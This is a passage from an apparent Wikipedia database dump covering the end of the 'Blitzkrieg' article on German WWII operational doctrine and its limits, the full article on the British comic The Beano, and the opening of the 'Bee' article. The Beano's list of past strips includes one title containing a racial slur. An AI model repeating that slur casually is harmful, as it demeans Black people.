To achieve a breakout, infantry or, less commonly, panzer forces themselves (otherwise preserved for manoeuvre beyond) would attack the enemy's defensive line, supported by artillery fire and Luftwaffe bombing. These forces created a breach in the depth of the enemy's line. Through this breach passed the panzer forces in their entirety, as the breaching force attacked to the flanks to increase security through distance. This point of breakout has been labelled a &quot;hinge&quot;, for from it panzer forces manoeuvred forward and developed &quot;leverage&quot; against the defensive line's forces.

In this, the opening phase of an operation, the Luftwaffe sought a coup against enemy air forces. It attempted to strafe and bomb landed aircraft and runways, disabling them, or deploy in fighter sweeps to clear the skies in large battles. From the beginning, air superiority  was a goal; to operate as designed, the panzer force required that reconnaissance aircraft, ground-attack aircraft, and in some cases transport aircraft all be able to fly. With the Luftwaffe itself driven from the sky in the war's later years, operating under Allied air superiority would be a hindrance ([[#Air superiority|See below]]).

A final element was the use of [[airborne forces]] beyond the enemy lines. These were not only to disrupt enemy activities or take important positions, in ''Blitzkrieg'' they were also to serve as a psychological inducement for the troops trying to forge ahead into enemy territory - since any rapid advance is in danger of eventually slowing down when urgency is lost and supply lines lengthen, while troop strengths fall due to inevitable casualities. It was the stated purpose of commanding officers that the airborne troops deployed far beyond enemy lines serve as a sort of 'beacon' which the advancing troops were to relieve. In this urgent rush to save their comrades from eventually being overwhelmed by heavier enemy forces was thus seen an important element of preventing an advance from slowing down too much.

===Paralysis===
[[Image:PanzerV Panther D.jpg|thumb|250px|right|[[Panther tank|Panther Ausf. D]], one of the more advanced German panzer designs developed from experience with the Soviet [[T-34]].]]
Having achieved a breakthrough into the enemy's rear areas, German forces attempted to paralyse the enemy's decision making and implementation process. Moving faster than enemy forces, panzer forces exploited weaknesses and acted before opposing forces could formulate a response. Guderian wrote that &quot;Success must be exploited without respite and with every ounce of strength, even by night. The defeated enemy must be given no peace.&quot;

Central to this is the [[decision cycle]]. Every decision made by German or opposing forces required time to gather information, make a decision, disseminate orders to subordinates, and then implement this decision through action. Through superior mobility and faster decision-making cycles, panzer forces could take action on a situation sooner than the forces opposing them.

[[Directive control]] was a fast and flexible method of command. Rather than receiving an explicit order, a commander would be told of his superior's intent and the role which his unit was to fill in this concept. The exact method of execution was then a matter for the low-level commander to determine as best fit the situation. Staff burden was reduced at the top and spread among commands more knowledgeable about their own situation. In addition, the encouragement of initiative at all levels aided implementation. As a result, significant decisions could be effected quickly and either verbally or with written orders a few pages in length.

===Kesselschlacht===
An operation's final phase, the ''Kesselschlacht'' (cauldron battle), was a concentric attack on an encircled force. It was here that most losses were inflicted upon the enemy, primarily through the capture of prisoners and weapons.

==Operations in the Second World War==
===Poland 1939===
[[Image:Poland2.jpg|thumb|right|250px|In Poland, panzer divisions created numerous pockets of Polish forces (blue circles) that were destroyed by following infantry.]]

Despite the term ''blitzkrieg'' being coined during the [[Polish September Campaign]] of 1939, historians generally hold that German operations during it were more consistent with more traditional methods. The Wehrmacht's strategy was more inline with [[Vernichtungsgedanken]], or a focus on envelopment to create pockets in broad-front annihilation. Panzer forces were deployed among the three German concentrations without strong emphasis on independent use, being used to create or destroy close pockets of [[Polish Army|Polish forces]] and seize operational-depth terrain in support of the largely unmotorised infantry which followed. The Luftwaffe gained air superiority by a combination of superior technology and numbers. Common claims that the Polish Air Force was destroyed early in the campaign while it was on the ground are not true. Polish aircraft were moved to hidden airstrips approximately 48 hours before the outbreak of the hostilities.

The understanding of operations in Poland has shifted considerably since the Second World War. Many early postwar histories, such as Barrie Pitt's in ''The Second World War'' (BPC Publishing 1966), incorrectly attribute German victory to &quot;enormous development in military technique which occurred between 1918 and 1940&quot;, incorrectly citing that &quot;Germany, who translated (British inter-war) theories into action...called the result Blitzkrieg.&quot;  More recent histories identify German operations in Poland as relatively cautious and traditional.  Matthew Cooper wrote (in ''The German Army 1939-1945: Its Political and Military Failure'') that &quot;(t)hroughout ([[Polish September Campaign|the Polish Campaign]]), the employment of the mechanised units revealed the idea that they were intended solely to ease the advance and to support the activities of the infantry....Thus, any strategic exploitation of the armoured idea was still-born. The paralysis of command and the breakdown of morale were not made the ultimate aim of the ... German ground and air forces, and were only incidental by-products of the traditional manoeuvers of rapid encirclement and of the supporting activities of the flying artillery of the Luftwaffe, both of which had has their purpose the physical destruction of the enemy troops. Such was the [[Vernichtungsgedanke]] of the Polish campaign.&quot;  He went on to say that the use of tanks &quot;left much to be desired...Fear of enemy action against the flanks of the advance, fear which was to prove so disastrous to German prospects in the west in 1940 and in the Soviet Union in 1941, was present from the beginning of the war.&quot;  John Ellis, writing in ''Brute Force'' (Viking Penguin, 1990) asserted that &quot;...there is considerable justice in Matthew Cooper's assertion that the panzer divisions were not given the kind of ''strategic'' mission that was to characterise authentic armoured ''blitzkrieg'', and were almost always closely subordinated to the various mass infantry armies.&quot; In fact, according to Zaloga and Madej, in ''The Polish Campaign 1939'' (Hippocrene Books, 1985), &quot;Whilst Western accounts of the September campaign have stressed the shock value of the panzers and Stuka attacks, they have tended to underestimate the punishing effect of German artillery  on Polish units. Mobile and available in significant quantity, artillery shattered as many units as any other branch of the Wehrmacht.&quot;

===France 1940===
The [[Battle of France|invasion of France]] consisted of two phases, Operation Yellow  (''Fall Gelb'') and Operation Red. Yellow opened with a feint conducted against Holland and Belgium by two Panzer corps and [[paratrooper]]s. Three days later, the main panzer effort of Panzer Group von Kleist attacked through the [[Ardennes]] and achieved a breakthrough with Luftwaffe air support. The group raced to the coast of the [[English Channel]], dislodging the [[British Expeditionary Force]], [[Belgian Army]], and some divisions of the [[French Army]]. The Panzer units initially advanced far beyond the following divisions. The Panzers were met with a counterattack at the [[Battle of Arras (1940)|Battle of Arras]] the tough British tanks inducing a brief panic in the High Command. The Panzer forces were halted outside the port city of Dunkirk which was being used to evacuate the Allied forces. The Luftwaffe (in the form of Goering) had promised to complete the job but its bombing did not prevent the evacuation of the majority of the troops ([[Operation Dynamo]]); some 330,000 French and British. Operation Red then began with XV Panzer Corps attacking towards [[Brest, France|Brest]] and XIV Panzer Corps attacking south, east of Paris, towards [[Lyon]], and XIX Panzer Corps completing the encirclement of the [[Maginot Line]]. The defending forces were hard pressed to organise any sort of counter-attack. The French forces were continually ordered to form new lines along rivers, often arriving to find the German forces had already passed them.

===Soviet Union: the Eastern Front: 1941–45===
[[Image:DefensivePincersVolkhov.png|thumb|right|250px|After 1941–42, panzer forces were increasingly used as a mobile reserve against Allied breakthroughs.]] 
Use of armoured forces was crucial for both sides on the Eastern Front. [[Operation Barbarossa]], the German invasion of the [[Soviet Union]] in 1941, involved a number of breakthroughs and encirclements by panzer forces. Its stated goal was &quot;to destroy the Russian forces deployed in the West and to prevent their escape into the wide-open spaces of Russia.&quot;{{ref|10}} This was generally achieved by four panzer armies which encircled surprised and disorganised Soviet forces, followed by marching infantry which completed the encirclement and defeated the trapped forces. The first year of the [[Eastern Front (WWII)|Eastern Front]] offensive can generally be considered to have had the last successful major blitzkrieg operations.

After Germany's failure to destroy the Soviets before the winter of 1941, the limits of blitzkrieg became visible. Although the German attack took huge areas of Soviet territory, the overall strategic effects were more limited. The [[Red Army]] was able to regroup far to the rear of the main battle line, and eventually defeat the German forces for the first time in the [[Battle of Moscow]]. 

In the summer of 1942, when Germany launched another offensive in the southern [[USSR]] against [[Stalingrad]] and the [[Caucasus]], the Soviets again lost tremendous amounts of territory, only to counter-attack once more during winter.  German gains were ultimately limited by [[Hitler]] diverting forces from the attack on Stalingrad itself and seeking to pursue a drive to the Caucasus oilfields simultaneously as opposed to subsequently as the original plan had envisaged.[[Image:Jagdtiger 1.jpg|thumb|left|300px|The [[Jagdtiger]], one of the most formidable German [[tank destroyer]]s. These specialised vehicles denied the basics of blitzkrieg because their designs trade mobility for firepower and protection.]]

===Western Front, 1944–45===
As the war progressed, Allied armies began using tactics somewhat resembling the blitzkrieg tactics of Germany. Many operations in the Western Desert and on the Eastern Front relied on massive concentrations of firepower to establish breakthroughs by fast-moving armoured units. These artillery-based tactics were also decisive in Western Front operations after [[Operation Overlord]] and both the British Commonwealth and American  armies developed flexible and powerful systems for utilizing artillery support.  What the Russians lacked in flexibility, they made up for in number of rocket, cannon, and mortar tubes.  The Germans never achieved the kind of response times or fire concentrations their enemies were capable of by 1944.

After the Allied landings at [[Battle of Normandy|Normandy]], Germany made attempts to overwhelm the landing force with armoured attacks but this failed for lack of co-ordination and Allied air superiority.  The most notable attempt to use Blitzkrieg in Normandy was at Mortain, which resulted in the creation of the Falaise Gap and the ultimate destruction of German forces in Normandy.  The Mortain counter-attack was launched against Allied forces employed in [[Operation Cobra]], U.S. 12th Army Group's breakout from the Normandy area at [[St.-Lô]]. The German [[German Seventh Army|Seventh Army]] attacked towards the coast at St.-Lô, attempting to cut off the [[U.S. Third Army]], commanded by [[George S. Patton]], in [[Operation Lüttich]]. It was unable to achieve a breakthrough against defending infantry and, stalled, was encircled and effectively destroyed by U.S. 12th Army Group.

The Allied offensive in central France, spearheaded by armoured units from [[George S. Patton]]'s Third Army, used breakthrough and penetration techniques that were essentially identical to blitzkrieg. Patton acknowledged that he had read both Guderian and Rommel before the war, and his tactics shared their emphasis on speed and attack. A phrase commonly used in his units was &quot;haul ass and bypass.&quot;

Germany's last offensive on its Western front, [[Battle of the Bulge|Operation Wacht am Rhein]], was a blitzkrieg offensive towards the vital port of [[Antwerp]] during the winter of 1944 to 1945. Launched in poor weather against a weakened Allied sector, it achieved surprise and initial success. Allied air power was stymied by cloud cover. However, defence along the [[Ardennes]] and few serviceable roads caused delays. Allied forces deployed to the flanks of the German penetration, and Allied aircraft were again able to attack panzer columns, finally routing them. While the strategy itself had been sound, the German troops had already been reduced beyond their ability to effectively exploit the initial gains.

==Countermeasures and limitations==
===Terrain===
Blitzkrieg was largely dependent upon terrain and weather conditions. Where the ability for rapid movement across &quot;tank country&quot; was not possible, blitzkrieg was often avoided or resulted in failure. Terrain would ideally be flat, firm, unobstructed by natural barriers or fortifications, and interspersed with roads and railways. If it was instead hilly, wooded, marshy, or urban, panzers would be vulnerable to infantry in close-quarters combat and unable to breakout at full speed. Additionally, units could be halted by mud ([[thaw]]ing along the Eastern Front regularly slowed both sides) or extreme snow.

===Air superiority===
[[Image:Il2 sturmovik.jpg|thumb|right|400px|[[Ilyushin Il-2]], formidable Soviet [[ground attack aircraft]] that specialised in destroying German armour]]
Allied [[air superiority]] became a critical hindrance to German operations during the later years of the war. Early German successes enjoyed air superiority with unencumbered movement of ground forces, close air support, and aerial reconnaissance. However, the Western Allies' air-to-ground attacks were so great following the lead up to [[Operation Overlord]] that panzer crews deployed from the Western to Eastern Front showed reluctance to moving en masse during daylight. Indeed, the final German blitzkrieg operation in the west, [[Operation Wacht am Rhein]], was planned to take place during poor weather which grounded Allied aircraft. Under these conditions, it was difficult for German commanders to employ the panzer arm to its envisioned potential.

===Counter-tactics===
[[Image:Stanislaw Maczek.jpg|thumb|right|150px| General [[Stanisław Maczek]], one of the early developers of anti-blitzkrieg tactics]]

Blitzkrieg was very effective against [[static defence]] doctrines that most countries developed in the aftermath of the First World War. Early attempts to defeat the blitzkrieg can be dated to the [[Polish September Campaign]] in 1939, where Polish general [[Stanisław Maczek]], commander of 10th Motorized Cavalry Brigade, prepared a detailed report of blitzkrieg tactics, its usage, effectiveness and possible precautions for the French military from his experiences. However, the French staff disregarded this report (it was captured, unopened, by the German army). Later, Maczek would become one of the most successful Allied armoured forces commanders in the war.

During the [[Battle of France]] in 1940, De Gaulle's 4th Armour Division and elements of the British Armour Brigade in the British Expeditionary Force both made probing attacks on the German flank, actually pushing into the rear of the blitzkrieging armoured columns at times (See [[Battle of Arras (1940)]] ). This may have been a reason for Hitler to call a halt to the panzers' advance. Those attacks combined with [[Maxime Weygand]]'s [[Hedgehog tactic]] would become the major basis for responding to blitzkrieg attacks in the future: deployment in depth, permitting enemy forces to bypass defensive concentrations, reliance on anti-tank guns, strong force employment on the flanks of the enemy attack, followed by counter-attacks at the base to destroy the enemy advance in detail. While Allied forces in 1940 lacked the experience to successfully develop these strategies, resulting in France's capitulation with heavy losses, they characterized later Allied operations such as Kursk (where Russian armies deployed in great depth), Mortain (where counterattacks by the US and Canadian armies closed the Falaise Gap) or the Ardennes (and the hedgehog defence of Bastogne and counterattack of the US 3rd Army).  

By 1944 the Allied armies' [[Ordnance QF 17 pounder|17 pdr]] anti-tank guns and [[90 mm M3 gun|90 mm gun]]-equipped tank destroyers and the Germans' famous [[88 mm gun|88s]] were very successful in blunting tank attacks, especially those with little infantry support. By that time the Allies had also developed their own version of both offensive and defensive strategies using armoured forces.

===Logistics===
Although effective in quick campaigns against Poland and France, blitzkrieg could not be sustained by Germany in later years. Blitzkrieg strategy has the inherent danger of the attacking force overextending its [[supply line]]s, and the strategy as a whole can be defeated by a determined foe who is willing to sacrifice territory for time in which to regroup and rearm, as the Soviets did on the Eastern Front. Tank and vehicle production was a constant problem for Germany; indeed, late in the war many panzer &quot;divisions&quot; had no more than a few dozen tanks.{{ref|11}} As the end of the war approached, Germany also experienced critical shortages in [[fuel]] and [[ammunition]] stocks as a result of Anglo-American [[strategic bombing]]. Although production of Luftwaffe fighter aircraft continued, they would be unable to fly for lack of fuel. What fuel there was went to panzer divisions, and even then they were not able to operate normally. Of those [[Tiger I|Tiger]] tanks lost against the United States Army, nearly half of them were abandoned for lack of fuel.{{ref|12}}

==Influence==
Blitzkrieg's widest influence was within the [[Allies|Western Allied]] leadership of the war, some of whom drew inspiration from the Wehrmacht's approach. United States General [[George S. Patton]] emphasized fast pursuit, the use of an armoured spearhead to effect a breakthrough, then cut off and disrupt enemy forces prior to their flight. In his comments of the time, he credited Guderian and Rommel's work, notably ''Infantry Attacks'', for this insight.  He also put into practice the idea attributed to cavalry leader [[Nathan Bedford Forrest]], &quot;Get there fustest with the mostest.&quot; (Get there fastest, with the most forces).

Blitzkrieg also has had some influence on subsequent militaries and doctrines. The [[Israeli Defense Forces]] may have been influenced by blitzkrieg in creating a military of flexible armoured spearheads and [[close air support]].{{ref|13}} The 1990's United States theorists of &quot;[[Shock and awe]]&quot; claim blitzkrieg as a subset of strategies which they term &quot;rapid dominance&quot;.

==Changing Interpretations of Blitzkrieg==
Beginning in the 1970s, the interpretation of Blitzkrieg, particularly with respect to the Second World War, has undergone a shift in the historical community.  John Ellis described the shift in his book ''Brute Force'' in 1990.

&lt;blockquote&gt;Our perception of land operations in the Second World War has...been distorted by an excessive emphasis upon the hardware employed.  The main focus of attention has been the tank and the formations that employed it, most notably the (German) panzer divisions.  Despite the fact that only 40 of the 520 German divisions that saw combat were panzer divisions (there were also an extra 24 motorised/panzergrenadier divisions), the history of German operations has consistently almost exclusively been written largely in terms of ''blitzkrieg'' and has concentrated almost exclusively upon the exploits of the mechanised formations.  Even more misleadingly, this presentation of ground combat as a largely armoured confrontation has been extended to cover Allied operations, so that in the popular imagination the exploits of the British and Commonwealth Armies, with only 11 armoured divisions out of 73 (that saw combat), and of the Americans in Europe, with only 16 out of 59, are typified by tanks sweeping around the Western Desert or trying to keep up with Patton in the race through Sicily and across northern France.  Of course, these armoured forces did play a somewhat more important role in operations than the simple proportions might indicate, but it still has to be stressed that they in no way dominated the battlefield or precipitated the evolution of completely new modes of warfare.&lt;/blockquote&gt;

Ellis, as well as Zaloga in his study of the Polish Campaign in 1939, points to the effective use of other arms such as artillery and aerial firepower as equally important to the success of German (and later, Allied) operations.  Panzer operations in Russia failed to provide decisive results; Leningrad never fell despite an entire Panzer Group being assigned to take it, nor did Moscow.  In 1942 panzer formations overstretched at Stalingrad and in the Caucasus, and what successes did take place - such as Manstein at Kharkov or Krivoi Rog - were of local significance only.

==See also==
*[[AirLand Battle]], blitzkrieg-like doctrine of US Army in 1980s
*[[Armoured warfare]]
*[[Attrition warfare]]
*[[The Blitz]], the [[Luftwaffe]] terror bombings of [[London]]
*[[Combined arms]]
*[[Deep Battle]], the period Soviet concept of warfare
*[[Maneuver warfare]], battle doctrine of speed and strategic movement
*[[Methodical Battle]], the period French concept of warfare
*[[Shock and Awe]], the 21st century American military doctrine
*[[Vernichtungsgedanken]], or 'annihilation thoughts', one of blitzkrieg predecessors
*[[Mission-type tactics]], tactical battle doctrine of delegation and initiative stimulation

==References==
#{{note|TIMEety}}&quot;Blitzkrieger&quot; in [[TIME]] Vol. XXXIV No. 13, [[25 September]] [[1939]]. http://www.time.com/time/archive/preview/0,10987,761969,00.html
#{{note|1}}James S. Corum, &lt;cite&gt;The Roots of Blitzkrieg: Hans von Seeckt and German Military Reform&lt;/cite&gt; (Lawrence, KS: University Press of Kansas, 1994), 37
#{{note|2}}Corum, op. cit., 23.
#{{note|3}}Corum, op. cit., 7.
#{{note|14}}Argued by Corum, Edwards, and House. This is not to include theories which were not adopted as actual doctrine, on which there are varied views.
#{{note|4}}Roger Edwards, &lt;cite&gt;Panzer: A Revolution in Warfare, 1939-1945&lt;/cite&gt; (London: Brockhampton Press, 1998), 23.
#{{note|5}}Guderian's remarks are from an unnamed article published in the National Union of German Officers, [[15 October]] [[1937]] as quoted in ''Panzer Leader'', pp. 39-46. Italics removed — the quoted sections are all italics in the original.
#{{note|6}}[[Heinz Guderian]], trans. Constantine Fitzgibbon, &lt;cite&gt;Panzer Leader&lt;/cite&gt; (New York: De Capo Press, 2002), 46.
#{{note|7}}Edwards, op. cit., 24.
#{{note|8}}Edwards, op. cit., 145.
#{{note|9}}Edwards, op. cit., 25.
#{{note|10}}[[Alan Clark]], &lt;cite&gt;Barbarossa: The Russian-German Conflict, 1941-45&lt;/cite&gt; (New York: Quill, 1965), 78.
#{{note|11}}[[Richard Simpkin]], &lt;cite&gt;Race to the Swift: Thoughts on Twenty-First Century Warfare&lt;/cite&gt; (London: Brassey's, 2000), 34
#{{note|12}}Charles Winchester, &quot;The Demodernization of the German Army in World War 2&quot;, Osprey Publishing. http://www.ospreypublishing.com/content2.php/cid=68
#{{note|13}}Jonathan M. House, &lt;cite&gt;Toward Combined Arms Warfare: A Survey of 20th-Century Tactics, Doctrine, and Organization&lt;/cite&gt;. (U.S. Army Command General Staff College, 1984; reprint University Press of the Pacific, 2002). http://cgsc.leavenworth.army.mil/carl/resources/csi/House/House.asp

==Further reading==
*[[Len Deighton|Deighton, Len]]. &lt;cite&gt;Blitzkrieg: From the rise of Hitler to the fall of Dunkirk&lt;/cite&gt;. 1981.
*Corum, James S. &lt;cite&gt;The Roots of Blitzkrieg: Hans von Seeckt and German Military Reform&lt;/cite&gt;. University Press of Kansas, 1994.
*Edwards, Roger. &lt;cite&gt;Panzer: A Revolution in Warfare, 1939-1945&lt;/cite&gt;. London: Brockhampton Press, 1998.
* {{cite book | author=[[Heinz Guderian|Guderian, Heinz]] | title=[[Panzer Leader (book)|Panzer Leader]] | publisher=Da Capo Press Reissue edition, 2001. New York: [[Da Capo Press]] | year=1952 | id=ISBN 0306811014}}
*House, Jonathan M. &lt;cite&gt;[http://cgsc.leavenworth.army.mil/carl/resources/csi/House/House.asp Toward Combined Arms Warfare: A Survey of 20th-Century Tactics, Doctrine, and Organization]&lt;/cite&gt;. U.S. Army Command General Staff College, 1984. Reprinted by University Press of the Pacific, 2002.
*[[Erich von Manstein|Manstein, Erich von]]. &lt;cite&gt;Lost Victories&lt;/cite&gt;. Trans. Anthony G. Powell. Presidio, 1994.
*[[John Mosier|Mosier, John]]. &lt;cite&gt;The Blitzkrieg Myth: How Hitler and the Allies Misread the Strategic Realities of World War II&lt;/cite&gt;. HarperCollins, 2003.
*[[Michael Patrick Sinesi|Sinesi, Michael P]]. &lt;cite&gt;Modern Bewegungskrieg. German Battle Doctrine, 1920-1940&lt;/cite&gt;. Thesis submitted to Columbian School of Arts and Sciences of The George Washington University, May 2001.
*[[Bruce Condell]] (Ed.),[[David T. Zabecki]] (Ed.). ''On the German Art of War: Truppenführung'' (Literal Trans: 'Troop Leading'). Lynne Rienner Publishers, Inc., 2001 

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[[Category:Military doctrines]]
[[Category:Nazi Germany]]
[[Category:World War II European theatre]]
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  </page>
  <page>
    <title>The Beano</title>
    <id>4653</id>
    <revision>
      <id>40881835</id>
      <timestamp>2006-02-23T17:12:37Z</timestamp>
      <contributor>
        <ip>80.42.37.36</ip>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">[[Image:Beanologo.png|300px|right|The Beano logo]]
:''This article is about the comic. For other uses, see [[Beano]].''
'''''The Beano''''' is a [[United Kingdom|British]] [[child]]ren's [[comic book|comic]] published by [[D. C. Thomson &amp; Co. Ltd]] of [[Dundee]], [[Scotland]], which was first issued on [[26 July]] [[1938]] (dated [[30 July]]). The present [[editor]] is [[Euan Kerr (editor)|Euan Kerr]], who has been in this role since [[1984]]. Currently the comic costs 80p. 

There have been several long-running strips over the years. The longest-running strip in the comic [[as of 2005]] is ''[[Dennis the Menace (UK)|Dennis the Menace and Gnasher]]'', which first appeared (under the name ''Dennis the Menace'') in [[1951]]. Other famous strips include ''[[The Bash Street Kids]]'', ''[[Minnie the Minx]]'', and ''[[Roger the Dodger]]''. ''[[Lord Snooty]]'' appeared in the very first issue, but disappeared from the comic in [[1990]].

There are frequent [[fictional crossover]]s between the strips, with most of the characters living in the fictional town of [[Beanotown]].

A first issue of The Beano sold for [[Pound Sterling|£]]12,100 on [[16 March]] [[2004]], which was at the time the highest price ever paid for a British comic at an [[auction]].

The Beano is also the second longest running comic, the first being [[The Dandy]] which is also made by [[D.C. Thomson &amp; Co. Ltd]].

==List of Beano comic strips==
===Current strips===
* [[Ball Boy]]
* [[The Bash Street Kids]]
* [[Bash Street Kids - Singled Out]]
* [[Bea (Dennis the Menace character)|Bea]]
* [[Billy Whizz]]
* [[Calamity James]]
* [[Colin the Vet]]
* [[Crazy for Daisy]]
* [[Dennis the Menace (UK)|Dennis the Menace and Gnasher]]
* [[Derek the Sheep]] (occasionally)
* [[Freddie Fear]] Son of a Witch
* [[Gordon Bennett]]
* [[Gnasher and Gnipper]]
* [[Ivy the Terrible]]
* [[Les Pretend]] He's Round the Bend/The Little Kid with the BIG Imagination (occasionally)
* [[Little Plum]]
* [[Minnie the Minx]]
* [[The Numskulls]] (from The [[Beezer]])
* [[Robbie Rebel]] Nobody Tells Him What to Do!
* [[Roger the Dodger]]

===Past strips===
* [[2-Gun Tony]] The King Street Cowboy
* [[Alf Wit]] The Ancient Brit
* [[Baby Face Finlayson]] The Cutest Bandit in the West!/The Cutest Bandit Around
* [[The Belles of St. Lemons]]
* [[Biffo the Bear]] (later abbreviated to &quot;Biffo&quot;)
* [[Big Eggo]]
* [[Big Fat Joe]]
* [[Billy the Cat and Katie]] (originally just &quot;Billy the Cat&quot;)
* [[Black Bun]]
* [[Brave Captain Kipper]]
* [[Camp Cosmos]]
* [[Chip the Stone Age Boy]]
* [[Cocky Dick]] He's Smart and Slick
* [[Colonel Crackpot's Circus]]
* [[Come to Beanotown]]
* [[The Country Cuzzins]] - a group of [[hillbilly]]s, similar to [[The Bash Street Kids]], plus a goat
* [[Christmas Carole]]
* [[Danny on a Dolphin]]
* [[Danny's Nanny]]
* [[Dean's Dino]]
* [[Ding-Dong Belle]]
* [[Dog's Breakfast T.V.]]
* [[Dr Beastly's Tales of the Slightly Unpleasant]]
* [[Emlyn the Gremlin]]
* [[Even Steven]] He's Out for Revenge
* [[The Fix-It Twins]]
* [[Freddy Flipper-Feet]]
* [[General Jumbo]] (&quot;Admiral Jumbo&quot; for a while)
* [[The Germs (comics)|The Germs]] with Ill Will
* [[Gnasher's Tale]]
* [[Go, Granny, Go!]]
* [[Good King Coke]] He's Stoney Broke
* [[Gordon Gnome]]
* [[Grandpa]]
* [[Hairy Dan]]
* [[Handy Sandy]]
* [[Hard-Nut the Nigger]]
* [[Have a Go Jo]]
* [[Helpful Henry]]
* [[Hot Foot]]
* [[Hugh Dunnit]]
* [[Inspector Horse and Jocky]]
* [[The Iron Fish]]
* [[Jack Flash]]
* [[Jacky Daw with Maw and Paw]]
* [[Jimmy and his Magic Patch]]
* [[Jinx]] - a boarding school girl who jinxes everything she is involved in, similarly to Jonah
* [[Joe Jitsu]]
* [[Joe King]]
* [[Johnny Hawk]]
* [[Jonah (comics)|Jonah]]
* [[Karate Sid]]
* [[Kat and Kanary]]
* [[Little Larry]]
* [[Little Monkey]]
* [[Little Nell and Peter Pell]]
* [[Lord Snooty]]
* [[The Magic Lollipops]]
* [[Matt Hatter]]
* [[Maxy's Taxi]]
* [[The McTickles]]
* [[Minder Bird]]
* [[Multy the Millionaire]]
* [[The Nibblers]]
* [[Number 13 (comics)|Number 13]]
* [[Pansy Potter]] The Strongman's Daughter
* [[Peter the Penguin]]
* [[Phone-a-Fiend]]
* [[Ping the Elastic Man]]
* [[Polly Wolly Doodle]] And Her Great Big Poodle
* [[Prince Whoopee]]
* [[Punch and Jimmy]] - two warring brothers
* [[Pup Parade]]
* [[The Q-Bikes]]
* [[Rasher]]
* [[Richard the Lion]]
* [[Ricky Grainger]] He Laughs at Danger
* [[Rip Van Wink]] He's 700 years old!
* [[Sammy Shrinko]]
* [[The Shipwrecked Circus]]
* [[Simply Smiffy]]
* [[Smart Alec]]
* [[Smudge (comics)|Smudge]]
* [[The Sort Out Squad]]
* [[Space Kidette]]
* [[Splodge]] The Naughtiest, Cleverest (he thinks) [[Goblin]] in Beanotown Woods (from The [[Topper (comic book)|Topper]])
* [[Sticky Willie]]
* [[Swanky Lanky Liz]]
* [[Sweet Sue]]
* [[Sydd]]
* [[The Three Bears (comic)|The Three Bears]]
* [[Tim Traveller]]
* [[Tin-Can Tommy]] The Clockwork Boy
* [[Tom, Dick and Sally]]
* [[Trash Can Ally]]
* [[Tricky Dicky (comics)|Tricky Dicky]] (from The Topper)
* [[Uncle Windbag]] He Tells Tall Tales
* [[Vic Volcano]]
* [[Wavy Davy and his Navy]]
* [[Wee Ben Nevis]]
* [[Wee Peem]]
* [[Whoopee Hank]] The Slap-Dash [[Sheriff]]
* [[Winnie the Witch]]
* [[The Yeti with Betty]]
* [[Zap Zodiac]]

==Trivia==
The Beano comic takes its name from the [[English English]] word ''beano'' which can be loosely interpreted as ''a fun time''. For further discussion of the origin of this word, see [http://www.bicycle-beano.co.uk/beano.html The Meaning Of Beano].  [[Private Eye]] refers to [[The Spectator (1828)|The Spectator]] as &quot;The Hasbeano&quot;, with the Spectator's editor [[Boris Johnson]] becoming &quot;Boris the Menace&quot;.

==See also==
* [[British comics]]
* [[Comics]]
* [[List of DC Thomson publications]]
* [[Plug (comic)|Plug]]
* [[The Beano Annual]]
* [[The Dandy]]
* [[Leo Baxendale]]

==External links==
* [http://www.beanotown.com Official Beano site]
* [http://www.paulmorris.co.uk/beano/ Beano Fan site]
* [http://www.comicsuk.co.uk/ComicInformationPages/BeanoPages/BeanoHomePage.asp Comics UK: Beano]

[[Category:DC Thomson Comics titles|Beano, The]]
[[Category:British children's literature|Beano, The]]
[[Category:The Beano|Beano, The]]
[[Category:British comics|Beano, The]]

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  </page>
  <page>
    <title>Bee</title>
    <id>4654</id>
    <revision>
      <id>42158470</id>
      <timestamp>2006-03-04T05:10:50Z</timestamp>
      <contributor>
        <username>Elb2000</username>
        <id>899395</id>
      </contributor>
      <text xml:space="preserve">{{otheruses}}
{{Taxobox
| color = pink
| name = Bees
| image = Osmia ribifloris bee.jpg
| image_width = 200px
| image_caption = ''[[Osmia ribifloris]]''
| regnum = [[Animal]]ia
| phylum = [[Arthropoda]]
| classis = [[Insecta]]
| ordo = [[Hymenoptera]]
| subordo = [[Apocrita]]
| superfamilia = '''Apoidea'''
| subdivision_ranks = Families
| subdivision = 
[[Andrenidae]]&lt;br /&gt;
[[Apidae]]&lt;br /&gt;
[[Colletidae]]&lt;br /&gt;
[[Halictidae]]&lt;br /&gt;
[[Heterogynaidae]]&lt;br /&gt;
[[Megachilidae]]&lt;br /&gt;
[[Melittidae]]&lt;br /&gt;
[[Oxaeidae]]&lt;br /&gt;
[[Stenotritidae]]
}}
[[Image:Bees Collecting Pollen 2004-08-14.jpg|thumb|right|Bee collecting pollen]]
'''Bees''' ('''Apoidea''' superfamily) are flying [[insect]]s, closely related to [[wasp]]s and [[ant]]s.  There are approximately 20,000 species of bees, and they may be found on every continent except Antarctica. Bees are adapted for feeding on [[nectar (plant)|nectar]] and [[pollen]], the former primarily as an energy source, and the latter primarily for [[protein]] and other nutrients. Most pollen is used for food for the [[larva|brood]]. 

Bees have a long [[proboscis]] that enables them to obtain the nectar from [[flower]]s. Bees have [[antennae]] made up of thirteen segments in males and twelve in females. They have two pairs of wings, the back pair being the smaller of the two. 

Bees play an important role in [[pollination|pollinating]] [[flowering plant]]s, and are called [[pollinator]]s. Bees may focus on gathering nectar or on gathering pollen, depending on their greater need at the time. Bees gathering nectar may accomplish pollination, but bees that are deliberately gathering pollen are more efficient pollinators. It is estimated that one third of the human food supply depends on insect pollination, most of this accomplished by bees.

Bees are fuzzy and carry an electrostatic charge, thus aiding in the adherence of pollen. Bees periodically stop foraging and groom themselves to pack the pollen into specialized [[pollen basket]]s which are on the legs of honeybees and some other [[species]], and on the ventral [[abdomen]] on other species.

Bees are extremely important as pollinators in [[agriculture]], with [[pollination management|contract pollination]] having overtaken the role of [[honey]] production for beekeepers in many countries. [[Monoculture]] and [[pollinator decline]] have increasingly caused honeybee keepers to become [[Seasonal human migration|migratory]] so that bees can be concentrated in areas of pollination need at the appropriate season. Many other species of bees are increasingly cultured and used to meet agricultural pollination need. Bees also play a major, though not always understood, role in providing food for birds and wildlife. Many of these bees survive in refuge in wild areas away from agricultural spraying, only to be poisoned in massive spray programs for [[mosquito]]es, [[gypsy moth]]s, or other [[Pest (animal)|pest]] insects.

There are over 16,000 described species, and possibly around 30,000 species in total. Many species are poorly known. The smallest bee is a dwarf bee (Trigona minima) and it is about 2.1 mm (5/64&quot;) long. The largest bee in the world is the [[Megachile pluto]], which can be as large as 39 mm (1.5&quot;).

